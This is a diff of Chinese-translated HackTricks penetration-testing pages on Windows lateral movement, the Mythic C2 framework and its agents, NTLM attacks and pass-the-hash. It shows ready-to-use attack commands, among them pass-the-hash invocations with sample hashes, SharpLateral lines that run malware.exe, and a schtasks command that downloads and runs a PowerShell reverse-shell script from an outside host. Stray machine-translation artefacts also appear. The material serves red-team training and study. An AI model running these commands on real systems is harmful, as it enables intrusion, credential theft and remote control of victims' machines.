- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## 自动化工具
- [**SharpLateral**](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
- [**SharpWMI**](https://github.com/GhostPack/SharpWMI)
```bash
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
# Stealthier execution with VBS
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
```
- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
```bash
SharpMove.exe action=query computername=remote.host.local query="select * from win32_process" username=domain\user password=password
SharpMove.exe action=create computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password
SharpMove.exe action=executevbs computername=remote.host.local eventname=Debug amsi=true username=domain\\user password=password
```
- 你也可以使用 **Impacket's `wmiexec`**
## 参考
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,164 @@
# Mythic
## 什么是 Mythic
Mythic 是一个开源的、模块化的命令和控制 (C2) 框架,旨在用于红队渗透测试。它允许安全专业人员在不同操作系统(包括 Windows、Linux 和 macOS上管理和部署各种代理有效载荷。Mythic 提供了一个用户友好的 Web 界面,用于管理代理、执行命令和收集结果,使其成为在受控环境中模拟真实攻击的强大工具。
### 安装
要安装 Mythic请按照官方 **[Mythic repo](https://github.com/its-a-feature/Mythic)** 上的说明进行操作。
### 代理
Mythic 支持多个代理,这些代理是 **在被攻陷系统上执行任务的有效载荷**。每个代理可以根据特定需求进行定制,并可以在不同操作系统上运行。
默认情况下Mythic 没有安装任何代理。然而,它在 [**https://github.com/MythicAgents**](https://github.com/MythicAgents) 提供了一些开源代理。
要从该仓库安装代理,您只需运行:
```bash
sudo ./mythic-cli install github https://github.com/MythicAgents/<agent-name>
sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
```
您可以使用之前的命令添加新代理,即使 Mythic 已经在运行。
### C2 配置文件
Mythic 中的 C2 配置文件定义了 **代理与 Mythic 服务器之间的通信方式**。它们指定了通信协议、加密方法和其他设置。您可以通过 Mythic 网络界面创建和管理 C2 配置文件。
默认情况下Mythic 安装时没有配置文件,但可以通过运行从仓库下载一些配置文件 [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles)
```bash
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/<c2-profile>>
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
```
## [Apollo Agent](https://github.com/MythicAgents/Apollo)
Apollo是一个用C#编写的Windows代理使用4.0 .NET Framework旨在用于SpecterOps的培训课程。
使用以下命令安装:
```bash
./mythic-cli install github https://github.com/MythicAgents/Apollo.git
```
这个代理有很多命令使其与Cobalt Strike的Beacon非常相似并且有一些额外功能。其中它支持
### 常见操作
- `cat`: 打印文件内容
- `cd`: 更改当前工作目录
- `cp`: 从一个位置复制文件到另一个位置
- `ls`: 列出当前目录或指定路径中的文件和目录
- `pwd`: 打印当前工作目录
- `ps`: 列出目标系统上运行的进程(附加信息)
- `download`: 从目标系统下载文件到本地机器
- `upload`: 从本地机器上传文件到目标系统
- `reg_query`: 查询目标系统上的注册表键和值
- `reg_write_value`: 向指定注册表键写入新值
- `sleep`: 更改代理的睡眠间隔决定其多频繁与Mythic服务器检查
- 还有其他更多,使用`help`查看可用命令的完整列表。
### 权限提升
- `getprivs`: 在当前线程令牌上启用尽可能多的权限
- `getsystem`: 打开winlogon的句柄并复制令牌有效地将权限提升到SYSTEM级别
- `make_token`: 创建一个新的登录会话并将其应用于代理,允许模拟另一个用户
- `steal_token`: 从另一个进程窃取主令牌,允许代理模拟该进程的用户
- `pth`: Pass-the-Hash攻击允许代理使用用户的NTLM哈希进行身份验证而无需明文密码
- `mimikatz`: 运行Mimikatz命令以从内存或SAM数据库中提取凭据、哈希和其他敏感信息
- `rev2self`: 将代理的令牌恢复为其主令牌,有效地将权限降回原始级别
- `ppid`: 通过指定新的父进程ID更改后渗透作业的父进程允许更好地控制作业执行上下文
- `printspoofer`: 执行PrintSpoofer命令以绕过打印后台处理程序的安全措施允许权限提升或代码执行
- `dcsync`: 将用户的Kerberos密钥同步到本地机器允许离线密码破解或进一步攻击
- `ticket_cache_add`: 将Kerberos票证添加到当前登录会话或指定会话允许票证重用或模拟
### 进程执行
- `assembly_inject`: 允许将.NET程序集加载器注入远程进程
- `execute_assembly`: 在代理的上下文中执行.NET程序集
- `execute_coff`: 在内存中执行COFF文件允许编译代码的内存执行
- `execute_pe`: 执行非托管可执行文件PE
- `inline_assembly`: 在一次性AppDomain中执行.NET程序集允许临时执行代码而不影响代理的主进程
- `run`: 在目标系统上执行二进制文件使用系统的PATH查找可执行文件
- `shinject`: 将shellcode注入远程进程允许任意代码的内存执行
- `inject`: 将代理的shellcode注入远程进程允许代理代码的内存执行
- `spawn`: 在指定的可执行文件中生成新的代理会话允许在新进程中执行shellcode
- `spawnto_x64``spawnto_x86`: 将后渗透作业中使用的默认二进制文件更改为指定路径,而不是使用没有参数的`rundll32.exe`,这会产生很多噪音。
### Mythic Forge
这允许从Mythic Forge加载**COFF/BOF**文件Mythic Forge是一个预编译有效载荷和工具的存储库可以在目标系统上执行。通过可以加载的所有命令将能够在当前代理进程中以BOF的形式执行常见操作通常更隐蔽
开始安装它们:
```bash
./mythic-cli install github https://github.com/MythicAgents/forge.git
```
然后,使用 `forge_collections` 显示 Mythic Forge 中的 COFF/BOF 模块,以便能够选择并将它们加载到代理的内存中以执行。默认情况下,以下 2 个集合会在 Apollo 中添加:
- `forge_collections {"collectionName":"SharpCollection"}`
- `forge_collections {"collectionName":"SliverArmory"}`
加载一个模块后,它将作为另一个命令出现在列表中,例如 `forge_bof_sa-whoami``forge_bof_sa-netuser`
### Powershell & 脚本执行
- `powershell_import`: 将新的 PowerShell 脚本 (.ps1) 导入代理缓存以供后续执行
- `powershell`: 在代理的上下文中执行 PowerShell 命令,允许进行高级脚本编写和自动化
- `powerpick`: 将 PowerShell 加载程序程序集注入到一个牺牲进程中并执行 PowerShell 命令(不进行 PowerShell 日志记录)。
- `psinject`: 在指定进程中执行 PowerShell允许在另一个进程的上下文中有针对性地执行脚本
- `shell`: 在代理的上下文中执行 shell 命令,类似于在 cmd.exe 中运行命令
### 横向移动
- `jump_psexec`: 使用 PsExec 技术通过首先复制 Apollo 代理可执行文件 (apollo.exe) 并执行它来横向移动到新主机。
- `jump_wmi`: 使用 WMI 技术通过首先复制 Apollo 代理可执行文件 (apollo.exe) 并执行它来横向移动到新主机。
- `wmiexecute`: 使用 WMI 在本地或指定的远程系统上执行命令,提供可选的凭据进行模拟。
- `net_dclist`: 检索指定域的域控制器列表,有助于识别潜在的横向移动目标。
- `net_localgroup`: 列出指定计算机上的本地组,如果未指定计算机,则默认为本地主机。
- `net_localgroup_member`: 检索本地或远程计算机上指定组的本地组成员资格,允许枚举特定组中的用户。
- `net_shares`: 列出指定计算机上的远程共享及其可访问性,有助于识别潜在的横向移动目标。
- `socks`: 在目标网络上启用 SOCKS 5 兼容代理,允许通过被攻陷的主机隧道流量。与 proxychains 等工具兼容。
- `rpfwd`: 在目标主机上指定端口开始监听,并通过 Mythic 将流量转发到远程 IP 和端口,允许远程访问目标网络上的服务。
- `listpipes`: 列出本地系统上的所有命名管道,这对于通过与 IPC 机制交互进行横向移动或权限提升可能很有用。
### 其他命令
- `help`: 显示有关特定命令的详细信息或代理中所有可用命令的一般信息。
- `clear`: 将任务标记为“已清除”,以便代理无法接收。您可以指定 `all` 来清除所有任务或 `task Num` 来清除特定任务。
## [Poseidon Agent](https://github.com/MythicAgents/Poseidon)
Poseidon 是一个用 Golang 编写的代理,编译为 **Linux 和 macOS** 可执行文件。
```bash
./mythic-cli install github https://github.com/MythicAgents/Poseidon.git
```
当用户在 Linux 上时,有一些有趣的命令:
### 常见操作
- `cat`: 打印文件的内容
- `cd`: 更改当前工作目录
- `chmod`: 更改文件的权限
- `config`: 查看当前配置和主机信息
- `cp`: 从一个位置复制文件到另一个位置
- `curl`: 执行单个网络请求,带可选的头和方法
- `upload`: 将文件上传到目标
- `download`: 从目标系统下载文件到本地机器
- 还有更多
### 搜索敏感信息
- `triagedirectory`: 在主机的目录中查找有趣的文件,例如敏感文件或凭据。
- `getenv`: 获取所有当前环境变量。
### 横向移动
- `ssh`: 使用指定凭据 SSH 到主机并打开一个 PTY而不生成 ssh。
- `sshauth`: 使用指定凭据 SSH 到指定主机。您还可以使用此命令通过 SSH 在远程主机上执行特定命令或使用它来 SCP 文件。
- `link_tcp`: 通过 TCP 链接到另一个代理,允许代理之间的直接通信。
- `link_webshell`: 使用 webshell P2P 配置文件链接到代理,允许远程访问代理的 Web 界面。
- `rpfwd`: 启动或停止反向端口转发,允许远程访问目标网络上的服务。
- `socks`: 在目标网络上启动或停止 SOCKS5 代理,允许通过被攻陷的主机进行流量隧道。与 proxychains 等工具兼容。
- `portscan`: 扫描主机以查找开放端口,有助于识别潜在的横向移动或进一步攻击的目标。
### 进程执行
- `shell`: 通过 /bin/sh 执行单个 shell 命令,允许在目标系统上直接执行命令。
- `run`: 从磁盘执行带参数的命令,允许在目标系统上执行二进制文件或脚本。
- `pty`: 打开一个交互式 PTY允许与目标系统上的 shell 进行直接交互。

View File

@ -4,7 +4,7 @@
## 基本信息
在运行 **Windows XP 和 Server 2003** 的环境中,使用 LM (Lan Manager) 哈希,尽管广泛认为这些哈希容易被破解。特定的 LM 哈希 `AAD3B435B51404EEAAD3B435B51404EE` 表示未使用 LM代表一个空字符串的哈希。
在运行 **Windows XP 和 Server 2003** 的环境中,使用 LM (Lan Manager) 哈希,尽管广泛认为这些哈希容易被破解。一个特定的 LM 哈希 `AAD3B435B51404EEAAD3B435B51404EE` 表示未使用 LM代表一个空字符串的哈希。
默认情况下,**Kerberos** 认证协议是主要使用的方法。NTLM (NT LAN Manager) 在特定情况下介入:缺少 Active Directory、域不存在、由于配置不当导致 Kerberos 故障,或在尝试使用 IP 地址而非有效主机名进行连接时。
@ -12,10 +12,10 @@
对认证协议 - LM、NTLMv1 和 NTLMv2 - 的支持由位于 `%windir%\Windows\System32\msv1\_0.dll` 的特定 DLL 提供。
**点**
**关键点**
- LM 哈希易受攻击,空 LM 哈希 (`AAD3B435B51404EEAAD3B435B51404EE`) 表示未使用。
- Kerberos 是默认认证方法NTLM 仅在特定条件下使用。
- Kerberos 是默认认证方法NTLM 仅在特定条件下使用。
- NTLM 认证数据包可通过 "NTLMSSP" 头部识别。
- LM、NTLMv1 和 NTLMv2 协议由系统文件 `msv1\_0.dll` 支持。
@ -44,48 +44,48 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM
```
## Basic NTLM Domain authentication Scheme
## 基本 NTLM 域认证方案
1. 用户输入他的凭据
2. 客户端机器发送身份验证请求,发送域名和用户名
3. 服务器发送挑战
4. 客户端使用密码的哈希作为密钥加密挑战并将其作为响应发送
5. 服务器将域名、用户名、挑战和响应发送给域控制器。如果没有配置Active Directory或域名是服务器的名称则凭据在本地进行检查。
6. 域控制器检查一切是否正确并将信息发送给服务器
1. **用户**输入他的 **凭据**
2. 客户端机器 **发送认证请求**,发送 **域名** 和 **用户名**
3. **服务器**发送 **挑战**
4. **客户端使用**密码的哈希作为密钥对 **挑战** 进行加密,并将其作为响应发送
5. **服务器将** **域名、用户名、挑战和响应** 发送给 **域控制器**。如果没有配置 Active Directory 或域名是服务器的名称,则凭据 **在本地检查**
6. **域控制器检查一切是否正确**并将信息发送给服务器
服务器和域控制器能够通过Netlogon服务器创建安全通道因为域控制器知道服务器的密码它在NTDS.DIT数据库中
**服务器** **域控制器**能够通过 **Netlogon** 服务器创建 **安全通道**,因为域控制器知道服务器的密码(它在 **NTDS.DIT** 数据库中)。
### Local NTLM authentication Scheme
### 本地 NTLM 认证方案
身份验证与之前提到的相同但服务器知道尝试在SAM文件中进行身份验证的用户的哈希。因此服务器将自行检查用户是否可以进行身份验证,而不是询问域控制器。
认证与之前提到的 **相同,但** **服务器**知道尝试在 **SAM** 文件中进行身份验证的 **用户的哈希**。因此,服务器将 **自行检查** 用户是否可以进行身份验证,而不是询问域控制器。
### NTLMv1 Challenge
### NTLMv1 挑战
挑战长度为8字节响应长度为24字节。
**挑战长度为 8 字节****响应长度为 24 字节**
哈希NT16字节分为3部分每部分7字节7B + 7B + (2B+0x00\*5)最后一部分用零填充。然后挑战分别用每一部分加密结果加密的字节连接在一起。总计8B + 8B + 8B = 24字节。
**哈希 NT (16 字节)** 被分为 **3 个部分,每个部分 7 字节**7B + 7B + (2B+0x00\*5)**最后一部分用零填充**。然后,**挑战**与每个部分 **单独加密**,并将 **结果** 的加密字节 **连接**。总计8B + 8B + 8B = 24 字节。
**问题**
- 缺乏随机性
- 3部分可以单独攻击以找到NT哈希
- DES是可破解的
- 第三个密钥总是由5个零组成。
- 给定相同的挑战响应将是相同的。因此您可以将字符串“1122334455667788”作为挑战提供给受害者并使用预计算的彩虹表攻击响应。
- 缺乏 **随机性**
- 3部分可以 **单独攻击** 以找到 NT 哈希
- **DES 可破解**
- 第 3 个密钥始终由 **5 个零** 组成。
- 给定 **相同的挑战****响应** 将是 **相同的**。因此,您可以将字符串 "**1122334455667788**" 作为 **挑战** 提供给受害者,并使用 **预计算的彩虹表** 攻击响应。
### NTLMv1 attack
### NTLMv1 攻击
如今,发现配置了不受限制的委派的环境变得越来越少,但这并不意味着您不能滥用配置的打印后台处理程序服务。
如今,发现配置了不受约束委派的环境变得越来越少,但这并不意味着您不能 **滥用配置的打印后台处理程序服务**
您可以滥用您在AD上已经拥有的一些凭据/会话,要求打印机对您控制的某个主机进行身份验证。然后,使用`metasploit auxiliary/server/capture/smb``responder`您可以将身份验证挑战设置为1122334455667788捕获身份验证尝试如果使用的是NTLMv1您将能够破解它。\
如果您使用`responder`,您可以尝试使用标志`--lm`来尝试降级身份验证。\
_请注意对于此技术身份验证必须使用NTLMv1进行NTLMv2无效。_
您可以滥用您在 AD 上已经拥有的一些凭据/会话,**请求打印机对某个您控制的主机进行身份验证**。然后,使用 `metasploit auxiliary/server/capture/smb``responder`,您可以 **将认证挑战设置为 1122334455667788**,捕获认证尝试,如果使用 **NTLMv1** 进行,您将能够 **破解它**。\
如果您使用 `responder`,可以尝试 **使用标志 `--lm`** 来尝试 **降级** **认证**。\
_请注意对于此技术认证必须使用 NTLMv1 进行NTLMv2 无效。_
请记住,打印机在身份验证期间将使用计算机帐户而计算机帐户使用长且随机的密码您可能无法使用常见字典破解它。但是NTLMv1身份验证使用DES[更多信息在这里](#ntlmv1-challenge)因此使用一些专门用于破解DES的服务您将能够破解它例如您可以使用[https://crack.sh/](https://crack.sh)或[https://ntlmv1.com/](https://ntlmv1.com))。
请记住,打印机在认证期间将使用计算机帐户,而计算机帐户使用 **长且随机的密码**,您 **可能无法使用常见的字典破解**。但是 **NTLMv1** 认证 **使用 DES** [更多信息在这里](#ntlmv1-challenge)),因此使用一些专门用于破解 DES 的服务,您将能够破解它(例如,您可以使用 [https://crack.sh/](https://crack.sh) [https://ntlmv1.com/](https://ntlmv1.com))。
### NTLMv1 attack with hashcat
### 使用 hashcat 的 NTLMv1 攻击
NTLMv1也可以通过NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi)进行破解该工具以可以通过hashcat破解的方式格式化NTLMv1消息。
NTLMv1 也可以通过 NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) 破解,该工具以可以被 hashcat 破解的方式格式化 NTLMv1 消息。
命令
```bash
@ -143,13 +143,13 @@ b4b9b02e6f09a9 # this is part 1
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2
```
请提供您希望翻译的文本内容。
请提供您希望翻译的具体内容。
```bash
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c # this is the last part
```
请提供需要翻译的内容。
请提供需要翻译的具体内容。
```bash
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
@ -159,16 +159,16 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
**第一个响应**是通过使用**HMAC_MD5**对由**客户端和域**组成的**字符串**进行加密生成的,并使用**NT hash**的**MD4 哈希**作为**密钥**。然后,**结果**将用作**密钥**,通过**HMAC_MD5**对**挑战**进行加密。为此,将**添加一个 8 字节的客户端挑战**。总计24 B。
**第二个响应**是使用**多个值**生成的(一个新的客户端挑战,一个**时间戳**以避免**重放攻击**...
**第二个响应**是使用**多个值**(一个新的客户端挑战,一个**时间戳**以避免**重放攻击**...生成的。
如果您有一个**捕获了成功身份验证过程的 pcap**,您可以按照本指南获取域、用户名、挑战和响应,并尝试破解密码:[https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
如果你有一个**捕获了成功身份验证过程的 pcap**,你可以按照本指南获取域、用户名、挑战和响应,并尝试破解密码:[https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
## Pass-the-Hash
**一旦您拥有受害者的哈希值**,您可以用它来**冒充**受害者。\
您需要使用一个**工具**,该工具将**使用**该**哈希**执行**NTLM 身份验证****或者**您可以创建一个新的**sessionlogon**并将该**哈希**注入到**LSASS**中,这样当任何**NTLM 身份验证被执行**时,该**哈希将被使用**。最后一个选项就是 mimikatz 所做的。
**一旦你拥有受害者的哈希**,你可以用它来**冒充**受害者。\
你需要使用一个**工具**,它将**使用**该**哈希执行**NTLM身份验证**或者**你可以创建一个新的**sessionlogon**并将该**哈希**注入到**LSASS**中,这样当任何**NTLM身份验证被执行**时,该**哈希将被使用**。最后一个选项就是 mimikatz 所做的。
**请记住,也可以使用计算机帐户执行 Pass-the-Hash 攻击。**
**请记住,也可以使用计算机帐户执行 Pass-the-Hash 攻击。**
### **Mimikatz**
@ -176,25 +176,25 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```bash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
```
这将启动一个进程,该进程将属于已经启动 mimikatz 的用户,但在 LSASS 内部,保存的凭据是 mimikatz 参数中的内容。然后,您可以像该用户一样访问网络资源(类似于 `runas /netonly` 技巧,但您不需要知道明文密码)。
这将启动一个进程该进程将属于已经启动mimikatz的用户但在LSASS内部保存的凭据是mimikatz参数中的内容。然后您可以像该用户一样访问网络资源类似于`runas /netonly`技巧,但您不需要知道明文密码)。
### 从 Linux 进行 Pass-the-Hash
### 从Linux进行Pass-the-Hash
您可以使用 Linux 从 Windows 机器上获得代码执行。\
您可以使用Linux中的Pass-the-Hash在Windows机器上获得代码执行。\
[**访问此处了解如何操作。**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
### Impacket Windows 编译工具
### Impacket Windows编译工具
您可以在此处下载[ impacket Windows 二进制文件](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries)。
您可以在此处下载[ impacket Windows二进制文件](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries)。
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
- **atexec.exe** 在这种情况下您需要指定一个命令cmd.exe 和 powershell.exe 不是有效的以获得交互式 shell`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
- 还有更多 Impacket 二进制文件...
- **atexec.exe**在这种情况下您需要指定一个命令cmd.exe和powershell.exe无效以获得交互式shell`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
- 还有更多Impacket二进制文件...
### Invoke-TheHash
您可以从这里获取 powershell 脚本:[https://github.com/Kevin-Robertson/Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash)
您可以从这里获取powershell脚本[https://github.com/Kevin-Robertson/Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash)
#### Invoke-SMBExec
```bash
@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
```
#### Invoke-TheHash
功能是**所有其他功能的混合**。您可以传递**多个主机****排除**某些主机并**选择**您想要使用的**选项**_SMBExec, WMIExec, SMBClient, SMBEnum_。如果您选择**任何**的**SMBExec**和**WMIExec**但您**没有**提供任何_**Command**_参数它将仅**检查**您是否具有**足够的权限**。
这个功能是**所有其他功能的混合**。您可以传递**多个主机****排除**某些主机并**选择**您想要使用的**选项**_SMBExec, WMIExec, SMBClient, SMBEnum_。如果您选择**任何**的**SMBExec**和**WMIExec**但您**没有**提供任何_**Command**_参数它将仅仅**检查**您是否拥有**足够的权限**。
```
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
```
@ -236,9 +236,21 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
## 从Windows主机提取凭据
**有关如何从Windows主机获取凭据的更多信息请阅读此页面** [**如何获取Windows主机的凭据**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**。**
**有关如何从Windows主机获取凭据的更多信息请阅读此页面** [**如何获取凭据**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**。**
## NTLM中继和Responder
## 内部独白攻击
内部独白攻击是一种隐秘的凭据提取技术允许攻击者从受害者的机器中检索NTLM哈希值**而无需直接与LSASS进程交互**。与Mimikatz不同后者直接从内存中读取哈希值且常常被终端安全解决方案或凭据保护阻止此攻击利用**通过安全支持提供程序接口SSPI对NTLM认证包MSV1_0的本地调用**。攻击者首先**降级NTLM设置**例如LMCompatibilityLevel、NTLMMinClientSec、RestrictSendingNTLMTraffic以确保允许NetNTLMv1。然后他们伪装成从运行进程中获得的现有用户令牌并在本地触发NTLM认证以使用已知挑战生成NetNTLMv1响应。
在捕获这些NetNTLMv1响应后攻击者可以快速使用**预计算的彩虹表**恢复原始NTLM哈希从而启用进一步的Pass-the-Hash攻击以进行横向移动。至关重要的是内部独白攻击保持隐秘因为它不会生成网络流量、注入代码或触发直接内存转储使其比传统方法如Mimikatz更难被防御者检测。
如果NetNTLMv1未被接受——由于强制的安全策略攻击者可能无法检索到NetNTLMv1响应。
为处理这种情况,内部独白工具进行了更新:它动态获取服务器令牌,使用`AcceptSecurityContext()`以在NetNTLMv1失败时仍然**捕获NetNTLMv2响应**。虽然NetNTLMv2更难破解但在有限情况下它仍然为中继攻击或离线暴力破解打开了一条路径。
PoC可以在**[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**找到。
## NTLM中继和响应者
**在这里阅读有关如何执行这些攻击的详细指南:**

View File

@ -1,27 +0,0 @@
# AtExec / SchtasksExec
{{#include ../../banners/hacktricks-training.md}}
## 它是如何工作的
At 允许在你知道用户名/(密码/哈希)的主机上调度任务。因此,你可以使用它在其他主机上执行命令并获取输出。
```
At \\victim 11:00:00PM shutdown -r
```
使用 schtasks您需要首先创建任务然后调用它
```bash
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>
```
```bash
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
```
您还可以使用 [SharpLateral](https://github.com/mertdas/SharpLateral)
```bash
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
```
有关[**使用 schtasks 和银票的更多信息在这里**](../active-directory-methodology/silver-ticket.md#host)。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,6 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**查看所有来自 [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) 的精彩想法**
从在线下载的微软Word文件到ntlm泄露源: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md
**查看所有来自 [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) 的精彩想法从在线下载的微软Word文件到ntlm泄漏源: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md 和 [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,38 +0,0 @@
# PsExec/Winexec/ScExec
{{#include ../../banners/hacktricks-training.md}}
## 它们是如何工作的
该过程在以下步骤中概述,说明如何操纵服务二进制文件以通过 SMB 在目标机器上实现远程执行:
1. **通过 SMB 复制服务二进制文件到 ADMIN$ 共享**
2. **在远程机器上创建服务**,指向该二进制文件。
3. 服务被 **远程启动**
4. 退出时,服务被 **停止,并删除二进制文件**
### **手动执行 PsExec 的过程**
假设有一个可执行有效载荷(使用 msfvenom 创建并使用 Veil 混淆以规避防病毒检测),名为 'met8888.exe',代表一个 meterpreter reverse_http 有效载荷,采取以下步骤:
- **复制二进制文件**:可执行文件从命令提示符复制到 ADMIN$ 共享,尽管它可以放置在文件系统的任何位置以保持隐蔽。
- **创建服务**:利用 Windows `sc` 命令,该命令允许远程查询、创建和删除 Windows 服务,创建一个名为 "meterpreter" 的服务,指向上传的二进制文件。
- **启动服务**:最后一步涉及启动服务,这可能会导致 "超时" 错误,因为该二进制文件不是一个真正的服务二进制文件,未能返回预期的响应代码。此错误无关紧要,因为主要目标是执行该二进制文件。
观察 Metasploit 监听器将显示会话已成功启动。
[了解更多关于 `sc` 命令的信息](https://technet.microsoft.com/en-us/library/bb490995.aspx)。
在这里找到更详细的步骤: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**您还可以使用 Windows Sysinternals 二进制文件 PsExec.exe**
![](<../../images/image (165).png>)
您还可以使用 [**SharpLateral**](https://github.com/mertdas/SharpLateral)
```
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
{{#include ../../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More